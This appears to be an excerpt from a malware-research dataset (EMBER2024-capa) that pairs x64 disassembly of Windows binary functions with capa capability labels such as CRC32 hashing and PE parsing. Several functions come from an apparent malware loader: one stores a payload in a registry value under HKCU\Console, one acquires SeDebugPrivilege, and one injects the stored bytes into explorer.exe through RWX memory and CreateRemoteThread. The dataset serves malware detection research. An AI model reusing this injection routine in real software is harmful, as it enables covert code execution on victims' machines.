joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011249
Capabilities:
Terminate process

Disassembly:
jmp 0x140013900
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112e9
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014c50
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014c70
xor al, al
jmp 0x140014cf1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014c83
xor al, al
jmp 0x140014cf1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014cad
xor al, al
jmp 0x140014cf1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014cc1
xor al, al
jmp 0x140014cf1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014cd3
xor al, al
jmp 0x140014cf1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014cef
xor al, al
jmp 0x140014cf1
mov al, 1
add rsp, 0x38
ret
Function at 0x180001408
Capabilities:
Hash data with crc32

Disassembly:
lea r8, [0x18003b5a0]
sub rax, rax
test rcx, rcx
je 0x180001523
dec rax
test rdx, rdx
je 0x180001521
test rcx, 3
je 0x18000144d
xor al, byte [rcx]
add rcx, 1
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
add rdx, 0xffffffffffffffff
jne 0x180001427
mov r10, rdx
and r10, 7
shr rdx, 3
je 0x1800014fc
xor eax, dword [rcx]
add rcx, 4
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
xor eax, dword [rcx]
add rcx, 4
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
add rdx, 0xffffffffffffffff
jne 0x18000145e
mov rdx, r10
test rdx, rdx
je 0x180001521
xor al, byte [rcx]
add rcx, 1
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
add rdx, 0xffffffffffffffff
jne 0x180001504
not eax
ret
Function at 0x180005bc0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rdx, qword [0x1801886a8]
mov r15, rcx
mov rax, qword [rdx]
cmp rax, rdx
je 0x180005dca
mov r13, qword [rcx + 0x18]
mov r12, qword [rcx + 0x10]
nop word [rax + rax]
cmp qword [rax + 0x28], 7
lea rsi, [rax + 0x10]
mov rbx, rsi
jbe 0x180005c11
mov rbx, qword [rsi]
mov rbp, r15
cmp r13, 7
jbe 0x180005c1d
mov rbp, qword [r15]
mov rdi, qword [rsi + 0x10]
cmp rdi, r12
ja 0x180005ca1
mov rcx, r12
sub rcx, rdi
test rdi, rdi
je 0x180005cb8
lea r14, [rcx*2]
mov rcx, rbp
lea r8, [rbp + 2]
add r8, r14
sub r8, rcx
sar r8, 1
je 0x180005ca1
movzx r9d, word [rbx]
cmp word [rcx], r9w
je 0x180005c65
add rcx, 2
sub r8, 1
jne 0x180005c53
jmp 0x180005ca1
test rcx, rcx
je 0x180005ca1
mov r10, rdi
mov r9, rbx
test rdi, rdi
je 0x180005c95
mov r11, rcx
sub r11, rbx
nop dword [rax + rax]
movzx r8d, word [r9]
cmp word [r11 + r9], r8w
jne 0x180005cb2
add r9, 2
sub r10, 1
jne 0x180005c80
sub rcx, rbp
sar rcx, 1
cmp rcx, 0xffffffffffffffff
jne 0x180005cb8
mov rax, qword [rax]
cmp rax, rdx
je 0x180005dca
jmp 0x180005c00
add rcx, 2
jmp 0x180005c40
xorps xmm0, xmm0
lea rdx, str.qweasd321zxc
xorps xmm1, xmm1
lea rcx, [rsp + 0x50]
mov r8d, 0xc
movups xmmword [rsp + 0x50], xmm0
movdqu xmmword [rsp + 0x60], xmm1
call fcn.18000ca80
mov rbx, qword [rsi + 0x28]
lea rax, [rsp + 0xa8]
mov rdi, qword [rsi + 0x20]
lea rdx, str.Console
xor ecx, ecx
xor r9d, r9d
mov qword [rsp + 0x40], rcx
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ecx
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x180005d68
cmp qword [rsp + 0x68], 7
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0xa8]
lea r9d, [rax + 3]
cmova rdx, qword [rsp + 0x50]
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x180005da6
mov rcx, qword [rsp + 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005da1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005dc4
call fcn.180011de8
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.180021c30
int3
mov ecx, 1
call fcn.180018e60
int3
Function at 0x180005de0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x38
mov rsi, rdx
lea rcx, str.C:UsersPublicDownloads1.dll
lea rdx, [0x180046f70]
call fcn.18001f7cc
mov rdi, rax
test rax, rax
jne 0x180005e1f
lea rcx, str._nERR:_unable_to_open_input_file_n
call fcn.180004620
lea eax, [rdi + 1]
add rsp, 0x38
pop rdi
pop rsi
ret
xor edx, edx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], r12
mov rcx, rdi
mov qword [rsp + 0x28], r14
lea r8d, [rdx + 2]
call fcn.1800204d4
mov rcx, rdi
call fcn.1800194fc
xor r8d, r8d
mov r12d, eax
xor edx, edx
mov rcx, rdi
call fcn.1800204d4
mov ecx, r12d
mov ebx, r12d
call fcn.180021ca8
mov r14, rax
test rax, rax
jne 0x180005e7c
lea rcx, str._nERR:_not_enough_memory_n
call fcn.180004620
lea eax, [r14 + 1]
jmp 0x180005fe8
mov r9, rdi
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.1800217c4
cmp rax, rbx
je 0x180005eaa
lea rcx, str._nERR:_error_reading_from_input_file_n
call fcn.180004620
mov eax, 1
jmp 0x180005fe8
mov rcx, r14
mov qword [rsp + 0x60], rbp
call fcn.1800010a0
mov ebp, eax
cmp eax, 0xffffffff
jne 0x180005ed4
lea rcx, str._nERR:_compressed_data_error_n
call fcn.180004620
mov eax, 1
jmp 0x180005fe3
mov rcx, rbp
mov qword [rsp + 0x20], r15
call fcn.180021ca8
mov r15, rax
test rax, rax
jne 0x180005efe
lea rcx, str._nERR:_not_enough_memory_n
call fcn.180004620
lea eax, [r15 + 1]
jmp 0x180005fde
mov qword [rsp + 0x30], r13
call fcn.18001f580
mov r9d, ebp
mov r8, r15
mov edx, r12d
mov rcx, r14
mov ebx, eax
call section..text
mov dword [rsp + 0x50], eax
call fcn.18001f580
mov r13d, eax
sub r13d, ebx
cmp dword [rsp + 0x50], ebp
je 0x180005f46
lea rcx, str._nERR:_an_error_occured_while_decompressing_n
call fcn.180004620
mov eax, 1
jmp 0x180005fd9
cmp qword [rsi + 0x18], 7
jbe 0x180005f50
mov rsi, qword [rsi]
lea rdx, [0x180046b58]
mov rcx, rsi
call fcn.18001f7c0
mov rbx, rax
test rax, rax
jne 0x180005f78
lea rcx, str._nERR:_unable_to_create_output_file_n
call fcn.180004620
lea eax, [rbx + 1]
jmp 0x180005fd9
mov esi, dword [rsp + 0x50]
mov r9, rbx
mov r8d, esi
mov edx, 1
mov rcx, r15
call fcn.180020ee4
movd xmm3, r13d
lea rcx, str.Decompressed__u_____u_bytes_in__.2f_seconds_n
cvtdq2pd xmm3, xmm3
mov r8d, esi
mov edx, r12d
divsd xmm3, qword [0x1800475e8]
movq r9, xmm3
call fcn.180004620
mov rcx, rdi
call fcn.180020134
mov rcx, rbx
call fcn.180020134
mov rcx, r14
call fcn.1800212a8
mov rcx, r15
call fcn.1800212a8
xor eax, eax
mov r13, qword [rsp + 0x30]
mov r15, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x58]
mov r14, qword [rsp + 0x28]
add rsp, 0x38
pop rdi
pop rsi
ret
Function at 0x180006000
Capabilities:
Acquire debug privileges

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov dword [rax + 0x18], r8d
mov qword [rax + 0x10], rdx
push rdi
sub rsp, 0x60
mov rdi, rcx
lea r8, [rax + 0x10]
xor ebx, ebx
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
mov dword [rax + 0x18], ebx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x180006054
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LookupPrivilegeValueW___failed__error__u_n
call fcn.180004620
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
mov rax, qword [rsp + 0x78]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rbx
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rdi
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1800060b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.AdjustTokenPrivileges___failed__error__u_n
call fcn.180004620
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
mov rax, qword [rsp + 0x78]
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x48], rax
mov rcx, rdi
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x44], 1
mov dword [rsp + 0x50], 2
call qword [sym.imp.ADVAPI32.dll_PrivilegeCheck]
test eax, eax
jne 0x180006110
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.PrivilegeCheck___failed__error__u_n
call fcn.180004620
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
cmp dword [rsp + 0x80], ebx
setne bl
mov eax, ebx
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
Function at 0x1800064a0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x298
lea rax, [rsp + 0x2a8]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x18000667b
mov rcx, qword [rsp + 0x2a8]
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x28], rax
lea rdx, str.qweasd321zxc
mov qword [rsp + 0x290], rbp
xor r9d, r9d
xor ebp, ebp
xor r8d, r8d
mov dword [rsp + 0x2a0], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180006673
mov ecx, dword [rsp + 0x2a0]
mov qword [rsp + 0x288], rsi
call fcn.180021ca8
mov rcx, qword [rsp + 0x2a8]
lea rdx, str.qweasd321zxc
mov rsi, rax
xor r9d, r9d
lea rax, [rsp + 0x2a0]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000666b
mov qword [rsp + 0x2b0], rbx
lea ecx, [rbp + 2]
mov qword [rsp + 0x280], rdi
xor edx, edx
mov edi, ebp
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800065e6
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1800065dd
nop dword [rax + rax]
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x6c]
call fcn.18001faa4
test eax, eax
je 0x1800065d9
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800065b0
jmp 0x1800065dd
mov edi, dword [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rsp + 0x2a0]
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rsp + 0x2a0]
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], rbp
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rbp
mov r9, rbx
mov dword [rsp + 0x28], ebp
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, qword [rsp + 0x280]
mov rbx, qword [rsp + 0x2b0]
mov rsi, qword [rsp + 0x288]
mov rbp, qword [rsp + 0x290]
add rsp, 0x298
ret
Function at 0x1800087f0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x180008821
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rdi
je 0x18000889b
mov rdi, r14
mov rcx, rbx
call fcn.18000ab80
test rax, rax
jle 0x180008873
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.1800386b0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x18000888b
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x180008893
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x180008835
sub r14, rdi
jmp 0x18000897f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x1800088b2
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1800088b4
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1800088e6
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.1800386b0
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x18000897c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x180008921
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x18000895d
nop word [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.1800217c4
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x18000897c
cmp rbp, rax
ja 0x180008930
test rbp, rbp
je 0x18000897c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.1800217c4
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x30]
mov rax, r14
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x18000f150
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x18000f1b1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x18000f170
mov ecx, dword [r9]
jmp 0x18000f29b
cmp ecx, 0x4e0
jb 0x18000f29b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x18000f1d0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x18000f220
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x180018e60
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x180018d13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180018d13
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x180018d13
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x180018d13
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180018d13
cmp dword [rcx + 0x84], 0xe
jbe 0x180018d13
cmp dword [rcx + 0xf8], 0
je 0x180018d13
mov ecx, ebx
call fcn.180018dc4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.180018ba0
nop
cmp dword [rbp + 0x20], 0
je 0x180018d61
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.180018d6c
int3
xor r8d, r8d
xor edx, edx
jmp 0x180018ca4
Function at 0x180019214
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180012730
sub rsp, rax
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.180025620
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x180019263
mov rax, rbp
jmp 0x18001936b
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x187ed0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1800258b0
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x187ed0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x180019367
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180019367
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1800258b0
test rax, rax
js 0x180019367
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x180019367
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x180019359
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x180019359
cmp byte [rcx], 0xd
jne 0x18001933f
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x18001934e
cmp byte [rcx + 1], 0xa
jne 0x18001934e
inc rcx
jmp 0x18001934e
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x4f420]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x180019321
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x18001936b
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.180012700
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800278f8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x180187ed0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x18002794f
cmp word [rdx], r13w
jne 0x18002794f
or byte [rax + rdi*8 + 0x38], cl
jmp 0x180027954
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x180027a79
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x180027a9a
lea r9, [rdx + 2]
cmp cx, r11w
je 0x18002798d
mov rdx, r9
mov word [rbx], cx
jmp 0x1800279b4
cmp r9, r8
jae 0x1800279c4
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x18002796e
jmp 0x180027a79
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180027a6e
cmp dword [rsp + 0x80], esi
je 0x180027a6e
lea r8, [0x180187ed0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x180027a46
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x180027a16
mov word [rbx], r13w
jmp 0x180027a76
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x180027a23
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x180027a76
cmp word [rsp + 0x70], r13w
jne 0x180027a53
cmp rbx, r14
je 0x180027a10
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1800258b8
cmp word [rsp + 0x70], r13w
je 0x180027a79
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x180187ed0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x180027a73
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x180027a79
Function at 0x180028758
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18002876e
mov al, 1
jmp 0x1800287ce
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18002877f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1800287cc
mov ecx, dword [rcx + 0x18]
nop
call fcn.1800307e0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800287cc
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1800287cc
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1800287cc
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1800287ce
xor al, al
add rsp, 0x20
pop rbx
ret